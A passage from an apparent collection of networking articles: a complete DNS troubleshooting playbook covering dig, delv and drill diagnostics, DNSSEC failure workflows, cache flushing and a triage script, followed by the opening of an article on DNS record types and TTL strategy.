- [RFC 9250 - DNS over Dedicated QUIC Connections](https://datatracker.ietf.org/doc/html/rfc9250) - DoQ specification
- [RFC 8914 - Extended DNS Errors](https://datatracker.ietf.org/doc/html/rfc8914) - Detailed error codes
- [RFC 7871 - Client Subnet in DNS Queries](https://datatracker.ietf.org/doc/html/rfc7871) - ECS specification
- [ICANN Root KSK Rollover](https://www.icann.org/resources/pages/ksk-rollover) - Root key management
- [DNSViz](https://dnsviz.net/) - DNSSEC visualization and analysis
- [APNIC DNSSEC Statistics](https://stats.labs.apnic.net/dnssec) - Global validation rates
- [NSA Encrypted DNS Guidance](https://media.defense.gov/2021/Jan/14/2002564889/-1/-1/0/CSI_ADOPTING_ENCRYPTED_DNS_U_OO_102904_21.PDF) - Enterprise deployment recommendations
- [Cloudflare DNSSEC Guide](https://www.cloudflare.com/learning/dns/dnssec/how-dnssec-works/) - Chain of trust explanation
- [Mozilla DoH Rollout](https://blog.mozilla.org/futurereleases/2019/09/06/whats-next-in-making-dns-over-https-the-default/) - Firefox DoH implementation

---

## DNS Troubleshooting Playbook

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/dns-troubleshooting-playbook
**Category:** Web Foundations / Networking & Protocols
**Description:** A systematic approach to diagnosing DNS outages, propagation delays, and resolution failures. This playbook provides decision trees for symptom-driven triage, command recipes for isolating failures across the resolution chain, and DNSSEC (Domain Name System Security Extensions) debugging workflows for the most common signing failures.

# DNS Troubleshooting Playbook

A systematic approach to diagnosing DNS outages, propagation delays, and resolution failures. This playbook provides decision trees for symptom-driven triage, command recipes for isolating failures across the resolution chain, and DNSSEC (Domain Name System Security Extensions) debugging workflows for the most common signing failures.

<figure>

![Symptom-driven triage flow for DNS failures, mapping symptoms to diagnostic commands and root cause categories.](./symptom-driven-triage-flow-for-dns-failures-mapping-symptoms-to-diagnostic-comma.svg)

<figcaption>Symptom-driven triage flow for DNS failures, mapping symptoms to diagnostic commands and root cause categories.</figcaption>
</figure>

## Abstract

DNS troubleshooting requires isolating failures across three layers: authoritative infrastructure, recursive resolvers, and client-side caches. The diagnostic workflow:

1. **Identify the symptom**: SERVFAIL, NXDOMAIN, timeout, or slow resolution
2. **Isolate the layer**: Query authoritative servers directly (`+norecurse`), bypass validation (`+cd`), trace the path (`+trace`)
3. **Interpret the response**: Check RCODE, flags (AA, AD), and Extended DNS Errors (EDE)
4. **Fix at the source**: Zone data, DNSSEC signatures, delegation, or cache

Key mental model:

- **SERVFAIL** often means DNSSEC validation failure—test with `dig +cd` to confirm
- **NXDOMAIN** vs **NODATA**: NXDOMAIN means the name doesn't exist; NODATA means it exists but has no records of the requested type
- **Propagation delays** are cache expiry, not active distribution—wait for TTL (Time To Live), or flush specific resolvers
- **Lame delegation** produces timeouts or referral loops—verify each NS responds authoritatively

## Diagnostic Tools and Their Purpose

### dig: The Primary Tool

`dig` (Domain Information Groper) is the standard DNS diagnostic tool. Understanding its flags and output interpretation is essential.

**Essential flags:**

| Flag         | Purpose                           | When to Use                                    |
| ------------ | --------------------------------- | ---------------------------------------------- |
| `+trace`     | Trace from root servers           | Identify which NS (Name Server) in chain fails |
| `+norecurse` | Skip recursion, query directly    | Test authoritative server response             |
| `+cd`        | Checking Disabled (bypass DNSSEC) | Confirm DNSSEC-related SERVFAIL                |
| `+dnssec`    | Request DNSSEC records            | Verify signatures exist                        |
| `+short`     | Concise output                    | Quick answer verification                      |
| `+tcp`       | Force TCP                         | Test when UDP fails                            |
| `+nsid`      | Request Name Server ID            | Identify anycast instance                      |
| `-4` / `-6`  | Force IPv4/IPv6                   | Test address family issues                     |

**Interpreting dig output:**

```bash collapse={1-2}
$ dig example.com

; <<>> DiG 9.18.18 <<>> example.com
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54321
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; ANSWER SECTION:
example.com.        86400   IN  A   93.184.216.34

;; Query time: 23 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
```

**Header flags decoded:**

| Flag | Meaning                                         |
| ---- | ----------------------------------------------- |
| `qr` | Query Response (this is a response)             |
| `rd` | Recursion Desired (client requested recursion)  |
| `ra` | Recursion Available (server supports recursion) |
| `aa` | Authoritative Answer (from the zone's NS)       |
| `ad` | Authenticated Data (DNSSEC validated)           |
| `cd` | Checking Disabled (validation skipped)          |

**RCODE values:**

| Status     | Meaning            | Common Causes                                              |
| ---------- | ------------------ | ---------------------------------------------------------- |
| `NOERROR`  | Success            | Query succeeded (may have zero answers)                    |
| `SERVFAIL` | Server failure     | DNSSEC validation error, upstream timeout, lame delegation |
| `NXDOMAIN` | Name doesn't exist | Domain not registered, typo, deleted record                |
| `REFUSED`  | Query refused      | ACL (Access Control List) restriction, rate limiting       |
| `FORMERR`  | Format error       | Malformed query (rare)                                     |

### delv: DNSSEC Validation

`delv` (DNS Lookup and Validation) provides detailed DNSSEC validation output—use it when `dig +cd` succeeds but plain `dig` fails.

```bash collapse={1-2}
$ delv example.com

; fully validated
example.com.        86400   IN  A   93.184.216.34
```

**Key delv flags:**

| Flag         | Purpose                             |
| ------------ | ----------------------------------- |
| `+rtrace`    | Show resolver fetch logging         |
| `+vtrace`    | Show validation chain               |
| `-i`         | Disable validation (like `dig +cd`) |
| `+multiline` | Readable multi-line output          |

When validation fails, `delv` prints detailed errors:

```bash
$ delv dnssec-failed.org
;; resolution failed: SERVFAIL
;; DNSSEC validation failure
```

### kdig: Encrypted DNS Testing

`kdig` (Knot DNS dig) supports DoT (DNS over TLS), DoH (DNS over HTTPS), and DoQ (DNS over QUIC):

```bash
# Test DNS over TLS
kdig @1.1.1.1 example.com +tls

# Test DNS over HTTPS
kdig @1.1.1.1 example.com +https

# Test DNS over QUIC
kdig @1.1.1.1 example.com +quic
```

### drill: DNSSEC Tracing

`drill` from NLnet Labs provides cleaner DNSSEC chain visualization:

```bash
# Trace with DNSSEC from root
drill -TDS example.com
```

The `-D` flag displays the DNSSEC validation path, `-T` traces from root, and `-S` shows security status.

## Symptom-Driven Triage

### Complete Resolution Failure

**Symptom:** All queries to a domain fail—no responses from any resolver.

**Diagnostic sequence:**

```bash
# 1. Verify the domain's nameservers are responding
dig example.com NS +short
# Returns: ns1.example.com, ns2.example.com

# 2. Query each NS directly
dig @ns1.example.com example.com A +norecurse
dig @ns2.example.com example.com A +norecurse

# 3. If no response, check if NS IPs are reachable
dig ns1.example.com A +short
# Returns: 192.0.2.1

# 4. Test network connectivity
nc -zv 192.0.2.1 53
```

**Failure patterns:**

| Pattern                      | Likely Cause                               |
| ---------------------------- | ------------------------------------------ |
| No response from any NS      | Authoritative servers down or unreachable  |
| Response but no AA flag      | Lame delegation—NS doesn't serve this zone |
| Response but REFUSED         | ACL blocking your source IP                |
| Timeout to NS but ping works | Firewall blocking port 53                  |

**Lame delegation check:**

```bash
# Query NS directly without recursion
dig @ns1.example.com example.com SOA +norecurse

# Expected: status: NOERROR, flags include 'aa'
# Lame: REFUSED, SERVFAIL, or no 'aa' flag
```

### SERVFAIL Responses

**Symptom:** Resolver returns SERVFAIL for a domain that should resolve.

SERVFAIL is a catch-all for "something went wrong." The most common causes in 2024:

1. **DNSSEC validation failure** (most common)
2. **All authoritative servers unreachable**
3. **Lame delegation**
4. **Resolver-side timeout or overload**

**Decision tree:**

```bash
# Step 1: Test with DNSSEC validation disabled
dig example.com +cd

# If +cd succeeds but without +cd fails → DNSSEC problem
# If both fail → Non-DNSSEC issue (authoritative/network)
```

**DNSSEC-related SERVFAIL diagnosis:**

```bash
# Check Extended DNS Errors (RFC 8914)
dig @1.1.1.1 example.com

# Look for EDE in response:
;; OPT PSEUDOSECTION:
; EDE: 6 (DNSSEC Bogus)

# EDE codes for DNSSEC failures:
# 6 - DNSSEC Bogus (validation failed)
# 7 - Signature Expired
# 8 - Signature Not Yet Valid
# 9 - DNSKEY Missing
# 10 - RRSIGs Missing
```

**Trace to find the failing hop:**

```bash
dig +trace example.com
```

Look for where the trace stops or returns SERVFAIL. The last successful referral identifies the layer above the failure.

### Intermittent Failures

**Symptom:** Queries succeed sometimes, fail other times.

**Common causes:**

1. **Inconsistent authoritative servers** (different data across NS)
2. **Anycast routing instability**
3. **Partial outage** (some NS instances down)
4. **Network path issues** (packet loss)

**Diagnosis:**

```bash
# Compare responses from each authoritative NS
for ns in $(dig example.com NS +short); do
    echo "=== $ns ==="
    dig @$ns example.com A +norecurse +short
done

# Check SOA serial consistency
for ns in $(dig example.com NS +short); do
    echo "$ns: $(dig @$ns example.com SOA +short | awk '{print $3}')"
done

# Different serials = zone transfer issue or inconsistent updates
```

**Anycast instance identification:**

```bash
# Request NSID (Name Server Identifier)
dig +nsid @1.1.1.1 example.com

# Response includes:
;; OPT PSEUDOSECTION:
; NSID: 4c 41 58 ("LAX" = Los Angeles instance)
```

### Slow Resolution

**Symptom:** Queries take seconds instead of milliseconds.

**Causes:**

1. **Cache miss with long chain** (normal for first query)
2. **Timeout to one NS before failover**
3. **Lame delegation requiring retries**
4. **DNSSEC validation fetching additional records**

**Measure each hop:**

```bash
# Time the full resolution
dig example.com | grep "Query time"

# Trace to see per-hop latency
dig +trace +stats example.com
```

**Compare cached vs uncached:**

```bash
# Force fresh resolution (flush Google's cache first)
# https://developers.google.com/speed/public-dns/cache

# Check if record is cached (low TTL = recently fetched)
dig @8.8.8.8 example.com | grep -E "^example.com.*IN"
# example.com.        142   IN  A  ...
# TTL 142 means it was fetched ~158 seconds ago (original TTL 300)
```

### Unexpected NXDOMAIN

**Symptom:** A domain that should exist returns NXDOMAIN.

**Causes:**

1. **Record actually deleted**
2. **Negative caching** (NXDOMAIN cached from previous query)
3. **Split-horizon DNS** (different answers based on source)
4. **Registrar/registry issue** (delegation removed)

**Diagnosis:**

```bash
# 1. Query authoritative server directly
dig @ns1.example.com api.example.com A +norecurse

# 2. If authoritative returns NXDOMAIN, record is truly gone

# 3. If authoritative returns answer but resolver returns NXDOMAIN:
#    → Negative cache issue

# 4. Check delegation at parent
dig example.com NS @$(dig com NS +short | head -1)

# 5. Check if domain is registered
whois example.com
```

**Negative cache duration:**

```bash
# Check SOA MINIMUM (controls negative cache TTL)
dig example.com SOA +short
# ns1.example.com. hostmaster.example.com. 2024011501 7200 3600 1209600 3600
#                                                                        ^^^^
# Last value (3600) = negative cache TTL in seconds

# RFC 2308: Negative TTL = min(SOA.MINIMUM, SOA TTL)
```

## Resolver vs Authoritative Isolation

### Testing Authoritative Servers

Always verify authoritative servers are returning correct data before blaming resolvers:

```bash
# Find authoritative nameservers
dig example.com NS +short

# Query each directly (bypass recursion)
dig @ns1.example.com example.com A +norecurse

# Expected response:
# - status: NOERROR
# - flags include 'aa' (authoritative answer)
# - Answer section contains the record
```

**Red flags in authoritative response:**

| Issue                               | Meaning                                                      |
| ----------------------------------- | ------------------------------------------------------------ |
| No 'aa' flag                        | Server doesn't consider itself authoritative—lame delegation |
| REFUSED                             | ACL blocking or server misconfiguration                      |
| SERVFAIL                            | Server can't load zone (syntax error, missing file)          |
| Different answers from different NS | Zone transfer failure or inconsistent updates                |

### Comparing Public Resolvers

Different resolvers can have different cache states and policies:

```bash
# Compare major public resolvers
echo "Google:    $(dig @8.8.8.8 example.com +short)"
echo "Cloudflare: $(dig @1.1.1.1 example.com +short)"
echo "Quad9:     $(dig @9.9.9.9 example.com +short)"
echo "OpenDNS:   $(dig @208.67.222.222 example.com +short)"
```

**Interpretation:**

| Result               | Meaning                                              |
| -------------------- | ---------------------------------------------------- |
| All match            | Likely correct; check authoritative if unexpected    |
| One differs          | That resolver has stale cache or different policy    |
| All differ           | Check authoritative servers—likely inconsistent zone |
| Some return SERVFAIL | DNSSEC issue or resolver-specific problem            |

**Resolver-specific behaviors:**

| Resolver             | DNSSEC | ECS     | Notes                        |
| -------------------- | ------ | ------- | ---------------------------- |
| Google (8.8.8.8)     | Yes    | Yes     | Supports Extended DNS Errors |
| Cloudflare (1.1.1.1) | Yes    | No      | Privacy-focused, no ECS      |
| Quad9 (9.9.9.9)      | Yes    | No      | Malware blocking enabled     |
| OpenDNS              | Yes    | Partial | Content filtering available  |

### Tracing the Resolution Path

`dig +trace` performs iterative resolution from your machine, showing each referral:

```bash collapse={1-3}
$ dig +trace api.example.com

.                       518400  IN  NS  a.root-servers.net.
.                       518400  IN  NS  b.root-servers.net.
;; Received 239 bytes from 192.168.1.1#53(192.168.1.1) in 12 ms

com.                    172800  IN  NS  a.gtld-servers.net.
com.                    172800  IN  NS  b.gtld-servers.net.
;; Received 772 bytes from 198.41.0.4#53(a.root-servers.net) in 24 ms

example.com.            172800  IN  NS  ns1.example.com.
example.com.            172800  IN  NS  ns2.example.com.
;; Received 112 bytes from 192.5.6.30#53(a.gtld-servers.net) in 32 ms

api.example.com.        300     IN  A   93.184.216.50
;; Received 56 bytes from 192.0.2.1#53(ns1.example.com) in 45 ms
```

**Interpreting trace output:**

1. Each section shows a referral from one NS to the next
2. The final section should have the answer with `aa` flag
3. If trace stalls at a level, that's where the problem is
4. Check the source IP and latency for each hop

**Trace failure patterns:**

| Pattern                   | Cause                                       |
| ------------------------- | ------------------------------------------- |
| Stops at TLD              | Delegation not registered or NS unreachable |
| SERVFAIL at authoritative | Zone not loaded or DNSSEC issue             |
| Timeout at specific NS    | That server is down                         |
| Loop in referrals         | Misconfigured delegation                    |

## DNSSEC Troubleshooting

### DNSSEC Validation Failure Workflow

When DNSSEC validation fails, resolvers return SERVFAIL. Use this workflow to identify the specific failure:

```bash
# Step 1: Confirm DNSSEC is the cause
dig example.com +cd       # Should succeed (validation disabled)
dig example.com           # Fails with SERVFAIL

# Step 2: Check for Extended DNS Errors
dig @1.1.1.1 example.com
# Look for EDE in response

# Step 3: Use delv for detailed validation
delv example.com +rtrace

# Step 4: Visualize the chain
# https://dnsviz.net/d/example.com/analyze/
```

### Common DNSSEC Failures

**Expired signatures:**

```bash
# Check RRSIG expiration
dig example.com RRSIG +dnssec +multiline

# Look for expiration date:
example.com.  300 IN RRSIG A 13 2 300 (
                20240215000000 20240115000000 12345 example.com.
                abc123...signature... )
#               ^^^^^^^^^^^^^^
#               Signature expires 2024-02-15
```

**Fix:** Re-sign the zone. Check if automatic signing (BIND inline-signing, PowerDNS NSEC3PARAM) is working.

**DS record mismatch:**

The DS (Delegation Signer) record in the parent zone must match the DNSKEY in your zone.

```bash
# Get DS from parent zone (TLD)
dig example.com DS @$(dig com NS +short | head -1)

# Get DNSKEY from your zone
dig @ns1.example.com example.com DNSKEY +dnssec

# The DS should be a hash of one of the DNSKEY records (typically KSK)
```

**Fix:** Update DS at registrar after key changes. During key rollover, both old and new DS records should exist briefly.

**Algorithm mismatch:**

```bash
# Check algorithm numbers
dig example.com DNSKEY +short
# 257 3 13 abc123...  (257 = KSK, 13 = ECDSAP256SHA256)
# 256 3 13 def456...  (256 = ZSK)

dig example.com DS +short
# 12345 13 2 abc...  (13 = algorithm, 2 = digest type)
```

**Common algorithms:**

| ID  | Name            | Status           |
| --- | --------------- | ---------------- |
| 8   | RSASHA256       | Widely supported |
| 13  | ECDSAP256SHA256 | Recommended      |
| 14  | ECDSAP384SHA384 | Recommended      |
| 15  | ED25519         | Modern, compact  |

**Chain of trust broken:**

Use DNSViz for visual analysis: https://dnsviz.net/

```bash
# Command-line DNSViz
dnsviz probe example.com | dnsviz graph -Thtml -O
```

The visualization shows where the chain breaks—typically a missing DS record at the parent or a key that was rolled without updating DS.

### DNSSEC Key Rollover Issues

Key rollovers are the most common source of DNSSEC outages. The process requires careful timing:

**ZSK (Zone Signing Key) rollover:**

1. Generate new ZSK
2. Publish new DNSKEY (both old and new active)
3. Wait for DNSKEY TTL to expire
4. Sign zone with new ZSK
5. Wait for signature TTL to expire
6. Remove old ZSK

**KSK (Key Signing Key) rollover:**

1. Generate new KSK
2. Publish new DNSKEY
3. Wait for DNSKEY TTL
4. Submit new DS to parent (registrar)
5. Wait for DS propagation
6. Remove old KSK and DS

**Failure symptoms during rollover:**

| Symptom                     | Cause                                     | Fix                                    |
| --------------------------- | ----------------------------------------- | -------------------------------------- |
| SERVFAIL after DS update    | Old DS removed before propagation         | Restore old DS, wait longer            |
| SERVFAIL on new key publish | RRSIG uses key not in DNSKEY set          | Ensure DNSKEY published before signing |
| Intermittent SERVFAIL       | Cached DNSKEY doesn't include signing key | Wait for cache expiry                  |

## Cache and Propagation Debugging

### Understanding "DNS Propagation"

"DNS propagation" is a misnomer—DNS doesn't actively push updates. Changes take effect as cached records expire.

**What controls propagation time:**

1. **Record TTL**: How long resolvers cache the old value
2. **Negative cache TTL** (SOA MINIMUM): How long NXDOMAIN is cached
3. **Resolver minimum TTL**: Some resolvers ignore low TTLs
4. **Browser/OS cache**: Application-level caching

**Propagation verification:**

```bash
# 1. Verify authoritative servers have the new record
dig @ns1.example.com example.com A +norecurse

# 2. Check what public resolvers have cached
dig @8.8.8.8 example.com +norecurse
# Empty response = not cached; will fetch fresh on next query
# Answer with TTL = cached; TTL shows time remaining

# 3. Force fresh lookup (without +norecurse)
dig @8.8.8.8 example.com
```

### Flushing Caches

**Public resolver cache flush:**

| Resolver   | Method                                               |
| ---------- | ---------------------------------------------------- |
| Google     | https://developers.google.com/speed/public-dns/cache |
| Cloudflare | https://1.1.1.1/purge-cache/                         |
| OpenDNS    | https://cachecheck.opendns.com/                      |

**Browser cache flush:**

| Browser | Method                                           |
| ------- | ------------------------------------------------ |
| Chrome  | `chrome://net-internals/#dns` → Clear host cache |
| Firefox | `about:networking#dns` → Clear DNS Cache         |
| Edge    | `edge://net-internals/#dns` → Clear host cache   |
| Safari  | Clear via system (macOS)                         |

**Operating system cache flush:**

```bash
# macOS
sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder

# Linux (systemd-resolved)
sudo resolvectl flush-caches

# Windows
ipconfig /flushdns
```

### Pre-Migration TTL Strategy

Before making DNS changes, lower TTL to minimize stale cache impact:

```bash
# 1. Check current TTL
dig example.com +short   # Note the TTL value

# 2. Lower TTL to 300 seconds (or desired migration TTL)
# (Update in your DNS provider/zone file)

# 3. Wait for OLD TTL to expire
# If old TTL was 86400 (24h), wait 24 hours

# 4. Verify new TTL is in effect
dig @8.8.8.8 example.com   # TTL should be ≤300

# 5. Make the actual change

# 6. After verification, restore higher TTL
```

**Common mistake:** Lowering TTL and immediately making the change. Resolvers still have the old record cached with the old (high) TTL.

## CDN and GeoDNS Pitfalls

### GeoDNS Resolver Location Issue

GeoDNS uses the resolver's IP, not the client's IP, to determine location. When using public resolvers (8.8.8.8, 1.1.1.1), routing may be suboptimal.

**EDNS Client Subnet (ECS):**

ECS (RFC 7871) allows resolvers to forward client subnet to authoritative servers:

```bash
# Test ECS support
dig +subnet=203.0.113.0/24 example.com @8.8.8.8

# Check if authoritative returns different answers per source
```

**ECS privacy note:** Cloudflare (1.1.1.1) intentionally doesn't send ECS for privacy. Google (8.8.8.8) does.

### Health Check and Failover Delays

CDN/load balancer DNS can serve stale records if:

1. Health checks haven't detected failure
2. DNS TTL hasn't expired
3. Resolver is serving stale data (RFC 8767)

**Diagnosis:**

```bash
# Compare authoritative answer with cached
dig @authoritative-ns.example.com www.example.com +short
dig @8.8.8.8 www.example.com +short

# If different, cached record is stale
```

**Mitigation:**

- Use lower TTL (60-300s) for health-checked records
- Configure aggressive health check intervals
- Consider anycast at HTTP layer instead of DNS-based routing

### CNAME Flattening Complications

CNAME at zone apex is forbidden by RFC 1034 (conflicts with required SOA/NS). Providers work around this with CNAME flattening (Cloudflare) or ALIAS records (Route 53).

**Complications:**

1. **Domain verification fails**: TXT record lookups may not find expected values
2. **Certificate renewal issues**: ACME challenges may fail
3. **GeoDNS accuracy**: Flattening happens at authoritative server location

**Diagnosis:**

```bash
# Check if CNAME is being flattened
dig example.com CNAME   # No answer (flattened)
dig example.com A       # Returns resolved IP

# For debugging, some providers expose the underlying CNAME:
dig _underlying.example.com CNAME  # Provider-specific
```

## Incident Playbook

### Initial Triage Script

```bash title="dns-triage.sh" collapse={1-3}
#!/bin/bash
DOMAIN=${1:?Usage: $0 domain.com}

echo "=== DNS Triage for $DOMAIN ==="
echo ""

echo "--- Authoritative Nameservers ---"
dig $DOMAIN NS +short
echo ""

echo "--- Direct Query to Each NS ---"
for ns in $(dig $DOMAIN NS +short 2>/dev/null); do
    echo "$ns:"
    dig @$ns $DOMAIN A +norecurse +short 2>/dev/null || echo "  FAILED"
done
echo ""

echo "--- SOA Serial Consistency ---"
for ns in $(dig $DOMAIN NS +short 2>/dev/null); do
    serial=$(dig @$ns $DOMAIN SOA +short 2>/dev/null | awk '{print $3}')
    echo "$ns: $serial"
done
echo ""

echo "--- Public Resolver Comparison ---"
echo "Google 8.8.8.8:     $(dig @8.8.8.8 $DOMAIN A +short 2>/dev/null)"
echo "Cloudflare 1.1.1.1: $(dig @1.1.1.1 $DOMAIN A +short 2>/dev/null)"
echo "Quad9 9.9.9.9:      $(dig @9.9.9.9 $DOMAIN A +short 2>/dev/null)"
echo ""

echo "--- DNSSEC Status ---"
dig $DOMAIN +dnssec +short 2>/dev/null
echo ""
echo "With +cd (validation disabled):"
dig $DOMAIN +cd +short 2>/dev/null
echo ""

echo "--- TTL Check ---"
dig $DOMAIN | grep -E "^$DOMAIN.*IN" | head -1
```

### Escalation Decision Tree

| Finding                     | Escalation Path                        |
| --------------------------- | -------------------------------------- |
| All NS unreachable          | Infrastructure team / DNS provider     |
| Lame delegation             | DNS administrator (zone not loaded)    |
| DNSSEC validation failure   | DNSSEC key management / registrar (DS) |
| Resolver-specific issue     | ISP / public resolver (rare)           |
| Inconsistent NS responses   | Zone transfer / replication issue      |
| Registry delegation missing | Registrar account / domain status      |

### Rollback Strategies

**Record change rollback:**

```bash
# If you lowered TTL before the change: just revert the record
# Propagation time = new (low) TTL

# If you didn't lower TTL: revert and wait for old TTL
# or flush major resolver caches manually
```

**Nameserver change rollback:**

NS changes propagate slowly (typically 48-hour TTL at TLD). Rollback options:

1. **Revert at registrar**: Update NS back to old servers
2. **Keep new NS, fix zone**: Often faster than waiting for NS propagation
3. **Update both old and new NS**: Serve consistent data everywhere

**DNSSEC rollback:**

If DNSSEC breaks resolution:

1. **Emergency DS removal** at registrar makes zone unsigned but resolvable
2. **Wait for DS negative cache** (SOA MINIMUM at parent, typically 1 hour for TLDs)
3. **Re-enable DNSSEC** after fixing signing

### Postmortem Checklist

After resolving a DNS incident, document:

- [ ] **Timeline**: When did the issue start? When was it detected? When was it resolved?
- [ ] **Symptoms**: What queries failed? What responses were seen?
- [ ] **Root cause**: Specific misconfiguration, expired key, etc.
- [ ] **Resolution**: What changes fixed the issue?
- [ ] **TTL impact**: How long were stale records served?
- [ ] **Detection gap**: How could monitoring catch this sooner?
- [ ] **Prevention**: What process change prevents recurrence?

## Conclusion

DNS troubleshooting follows a systematic isolation approach: start with symptoms, verify authoritative servers respond correctly, compare resolver behavior, and trace the resolution path to identify the failing component. The key diagnostic commands—`dig +norecurse`, `dig +trace`, and `dig +cd`—isolate authoritative, path, and DNSSEC issues respectively.

SERVFAIL in modern DNS often indicates DNSSEC validation failure. Always test with `+cd` first. Extended DNS Errors (RFC 8914) provide specific failure codes when supported by the resolver.

"Propagation" is cache expiry. Lower TTL before changes, wait for old TTL to expire, make the change, then restore TTL. Flushing individual resolver caches accelerates propagation for testing but doesn't affect the broader internet.

For DNSSEC issues, use `delv` for validation details and DNSViz for chain visualization. Most DNSSEC outages stem from key rollover timing—ensure DS records at the registrar match current DNSKEY, and that signatures haven't expired.

## Appendix

### Prerequisites

- Familiarity with DNS resolution flow (see [DNS Resolution Path](../dns-resolution-path/README.md))
- Understanding of DNS record types and TTL (see [DNS Records, TTL, and Caching](../dns-records-ttl-and-caching/README.md))
- Command-line access with `dig` installed

### Terminology

| Term                | Definition                                                                |
| ------------------- | ------------------------------------------------------------------------- |
| **RCODE**           | Response Code; 4-bit field in DNS header indicating query result          |
| **EDE**             | Extended DNS Error (RFC 8914); detailed error information via EDNS option |
| **SERVFAIL**        | Server failure response; catch-all for resolution errors                  |
| **NXDOMAIN**        | Non-Existent Domain; name does not exist                                  |
| **NODATA**          | Name exists but no records of requested type; NOERROR with empty answer   |
| **Lame delegation** | NS records point to server that doesn't serve the zone                    |
| **AA flag**         | Authoritative Answer; set when response comes from zone's nameserver      |
| **AD flag**         | Authenticated Data; set when DNSSEC validation succeeded                  |
| **CD flag**         | Checking Disabled; client requests validation be skipped                  |
| **+trace**          | dig flag to perform iterative resolution from root                        |
| **KSK**             | Key Signing Key; signs DNSKEY RRset, referenced by DS at parent           |
| **ZSK**             | Zone Signing Key; signs zone data                                         |

### Summary

- **SERVFAIL + `+cd` succeeds** → DNSSEC validation failure; check signatures and DS records
- **SERVFAIL + `+cd` fails** → Authoritative issue; query NS directly with `+norecurse`
- **Intermittent failures** → Compare NS responses; check SOA serial consistency
- **Slow resolution** → Use `+trace` to identify slow hop; check for lame delegation
- **Unexpected NXDOMAIN** → Verify authoritative servers; check negative cache (SOA MINIMUM)
- **Propagation delays** → Verify authoritative has new data; wait for TTL expiry; flush caches
- **Key rollover failures** → Ensure DS matches DNSKEY; don't remove old DS until new propagates

### References

- [RFC 1035 - Domain Names: Implementation and Specification](https://www.rfc-editor.org/rfc/rfc1035) - DNS message format, RCODE definitions
- [RFC 2308 - Negative Caching of DNS Queries](https://www.rfc-editor.org/rfc/rfc2308) - NXDOMAIN vs NODATA, negative cache TTL
- [RFC 8914 - Extended DNS Errors](https://www.rfc-editor.org/rfc/rfc8914) - Detailed error codes via EDNS
- [RFC 9520 - Negative Caching of DNS Resolution Failures](https://www.rfc-editor.org/rfc/rfc9520) - Resolution failure caching requirements
- [RFC 6781 - DNSSEC Operational Practices, Version 2](https://www.rfc-editor.org/rfc/rfc6781) - Key rollover procedures
- [RFC 8767 - Serving Stale Data to Improve DNS Resiliency](https://www.rfc-editor.org/rfc/rfc8767) - Serve-stale behavior
- [RFC 7871 - Client Subnet in DNS Queries](https://www.rfc-editor.org/rfc/rfc7871) - EDNS Client Subnet (ECS)
- [BIND 9 Administrator Reference Manual](https://bind9.readthedocs.io/) - Resolver configuration and debugging
- [DNSViz](https://dnsviz.net/) - DNSSEC visualization and analysis tool
- [Cloudflare - Unwrap the SERVFAIL](https://blog.cloudflare.com/unwrap-the-servfail/) - Extended DNS Errors explanation
- [Julia Evans - How to use dig](https://jvns.ca/blog/2021/12/04/how-to-use-dig/) - Practical dig usage guide
- [Google Public DNS Cache Flush](https://developers.google.com/speed/public-dns/cache) - Manual cache purge
- [Cloudflare Cache Purge](https://1.1.1.1/purge-cache/) - Manual cache purge

---

## DNS Records, TTL Strategy, and Cache Behavior

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/dns-records-ttl-and-caching
**Category:** Web Foundations / Networking & Protocols
**Description:** DNS records encode more than addresses—they define routing policies, ownership verification, security constraints, and service discovery. TTL (Time To Live) values control how long resolvers cache these records, creating a fundamental trade-off between propagation speed and query load. This article covers record types in depth, TTL design decisions for different operational scenarios, and the caching behaviors that determine how quickly DNS changes take effect.

# DNS Records, TTL Strategy, and Cache Behavior

DNS records encode more than addresses—they define routing policies, ownership verification, security constraints, and service discovery. TTL (Time To Live) values control how long resolvers cache these records, creating a fundamental trade-off between propagation speed and query load. This article covers record types in depth, TTL design decisions for different operational scenarios, and the caching behaviors that determine how quickly DNS changes take effect.

<figure>

![DNS record types grouped by function, and the caching layers that determine propagation timing.](./dns-record-types-grouped-by-function-and-the-caching-layers-that-determine-propa.svg)

<figcaption>DNS record types grouped by function, and the caching layers that determine propagation timing.</figcaption>
</figure>

## Abstract

DNS records fall into four functional categories: address resolution (A, AAAA, CNAME), zone delegation (NS, SOA), service location (MX, SRV), and security/verification (TXT, CAA). Each type has specific constraints—CNAME cannot coexist with other records at the same name, MX targets must be A/AAAA records (never CNAMEs), and SOA's MINIMUM field controls negative caching duration.

TTL strategy depends on the operational scenario:

- **Static infrastructure**: 3600-86400s (1-24 hours) reduces resolver load
- **CDN/anycast**: 300s or less enables rapid failover
- **Migrations**: Lower TTL 24-48 hours before the change, wait for old TTL to expire, then make the change

"DNS propagation" is a misnomer—there is no active push mechanism. Changes take effect as cached records expire across resolver layers. The effective propagation time equals the maximum of: the old record's remaining TTL, negative cache TTL (SOA MINIMUM), and any resolver TTL floors that ignore authoritative values.

## Address Resolution Records

### A and AAAA Records

The A record (RFC 1035) maps a hostname to a 32-bit IPv4 address. The AAAA record (RFC 3596) maps to a 128-bit IPv6 address—the name "quad-A" reflects the fourfold size increase.

**Key behaviors:**

- Multiple A/AAAA records for the same name enable round-robin load distribution
- Records cannot point to other hostnames; they contain literal IP addresses
- The query transport protocol is independent of record type—you can query AAAA records over IPv4

**Design decision—why separate record types?** IPv6 addresses are four times larger than IPv4. Rather than overloading the A record with a variable-length format, RFC 3596 introduced a distinct type. This simplifies parsing and allows resolvers to query specifically for the address family they need.

```dns title="Multiple A records for load distribution"
api.example.com.    300    IN    A    192.0.2.10
api.example.com.    300    IN    A    192.0.2.11
api.example.com.    300    IN    A    192.0.2.12
```

Per RFC 2181, all records in an RRSet (Resource Record Set) must have identical TTLs. If a resolver receives differing TTLs for the same name and type, it must treat this as an error and use the lowest value.

### CNAME Records

A CNAME (Canonical Name) record declares that one name is an alias for another. Per RFC 1034 Section 3.6.2: "If a CNAME RR is present at a node, no other data should be present."

**The zone apex restriction:** CNAME cannot exist at the zone apex (e.g., `example.com`) because:

1. Every zone apex must have SOA and NS records (RFC 1034 Section 4.2.1)
2. CNAME cannot coexist with any other record type
3. Therefore, placing CNAME at apex violates the protocol

